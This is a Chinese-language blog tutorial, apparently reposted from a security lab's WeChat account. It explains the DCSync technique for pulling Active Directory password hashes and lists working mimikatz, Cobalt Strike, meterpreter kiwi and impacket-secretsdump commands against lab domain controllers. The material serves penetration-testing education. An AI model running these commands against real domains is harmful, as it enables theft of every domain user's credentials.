DcSync远程获取域用户hash

admin 2022年3月16日23:15:21评论182 views字数 1972阅读6分34秒阅读模式

DcSync远程获取域用户hash


概览


需求、dcsync介绍、rodc介绍、dcsync原理、mimikatz、cs-mimikatz、cs-dcsync、meterpreter、域外机器的情况。


需求


做测试时,可能会碰到这种需求,比如有时候我需要获取某一个域用户的hash,或者是某个目标用户他改密码了,我需要从新获取他的密码,这时候如果从新下载ntds文件进行破解,比较麻烦,那么dcsync可以解决这个需求。


dcsync介绍


dcsync是dc synchronization的缩写,直译为dc同步,dcsync会模仿成一个域控,然后去真域控上进行请求hash操作。dcsync不用登录域控,它会通过数据同步的方式来获取指定用户的hash。


但如果域控类型是只读域控rodc,那么dcsync是无法获取相关信息的,先了解下rodc。


RODC介绍


有这样一种情况,就是一个公司在一个新城市开设了一个分公司,这个分公司人员比较少,但平时也会有连接总公司域控的需求,那么就会有几个问题:

1,安全性差,分公司人员少,没有专门的安全部门,无法保证分公司人员连接过来是安全的。

2,分公司这些人员平时需要连接总公司不频繁,只是偶尔需要。

3,网络慢,分公司距离总公司比较远,连接过来可能信号不好,验证失败等情况出现。


等等原因,那么此时RODC(read-only的意思),该类型的域控顾名思义,只能读取,一来可以节约成本,二来只能读取比较安全,三来速度上可以提高。


dcsync原理


在域内,不通dc之间每15分钟会同步一次数据,当一个辅dc从主dc上同步数据时,会向主dc发送一个GetNCChanges请求,用到的是Directory Replication Service(DRS)服务下的GetNCChanges接口,它会向域控发起同步数据请求,从而获得敏感信息,如果数据比较多,那么则会不断的发送该请求,直到数据全部同步。


而dcsync就是模仿域控给其它dc发送GetNCChanges请求。那么上面提到的rodc只读域控,它的机制是主dc可以给它信息,它保存起来,但如果其它dc从它这里请求获取信息,它是给不了的,没有其权限,所以dcsync碰到rodc是不行的。


mimikatz


mimikatz提供了相关的功能,请求所有用户hash命令如下:


mimikatz.exe "lsadump::dcsync /domain:afa.com /all /csv" exit


DcSync远程获取域用户hash


请求单个用户hash命令如下:


mimikatz.exe "lsadump::dcsync /domain:afa.com /user:jack" exit


DcSync远程获取域用户hash


CS-mimikatz


mimikatz本身会被杀,需要做处理,随后还要传到目标机,相对操作比较麻烦,这里cs也提供了mimikatz操作:


DcSync远程获取域用户hash


如果使用mimikatz需要执行一些涉及到权限相关命令的时候,可以尝试在模块前加个@符:


mimikatz @lsadump::dcsync /domain:afa.com /all /csv


CS-dcsync


mimikatz中的lsadump::dcsync用的比较多,所以CS单独把这个功能提取了出来,命令为dcsync:


# 获取单个用户的信息dcsync domain.com domainuser# 获取所有用户的信息dcsync domain.com


DcSync远程获取域用户hash


DcSync远程获取域用户hash


meterpreter


这里不演示了,把命令贴一下,获取到一个meterpreter后,执行如下命令:


# 加载mimikatzload kiwi# 获取单个用户hashdcsync domain\user# 获取单个用户hash,和上面的dcsync命令比,dcsync_ntlm对结果做了下处理dcsync_ntlm domain\user# 获取所有用户hash,需要借助mimikatz模块kiwi_cmd "lsadump::dcsync /domain:xxx.com /all /csv"


域外机器的情况


上面操作都是在域内机器的情况,还有一种情况是在域外,比如我们只拿到了域中某个账户和密码,但是没有拿下域中的机器,这时,上面那些办法就行不通了,在向dc请求时,上面都是通过域名指定的dc,域外机器ping不通,也建立不了连接。


此时就需要知道dc的ip,然后通过secretdump.py来操作。


这个脚本在前几节的域控漏洞那里用过,回顾一下,当时命令是:


impacket-secretsdump afa/DC-AFA$@192.168.136.151 -no-pass


当知道dc ip以及拥有一个域中账户密码时,命令也很简单:


impacket-secretsdump afa/administrator:'test123!'@192.168.136.128


DcSync远程获取域用户hash


完。

原文始发于微信公众号(aFa攻防实验室):DcSync远程获取域用户hash

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月16日23:15:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DcSync远程获取域用户hashhttp://cn-sec.com/archives/830748.html

发表评论

匿名网友 填写信息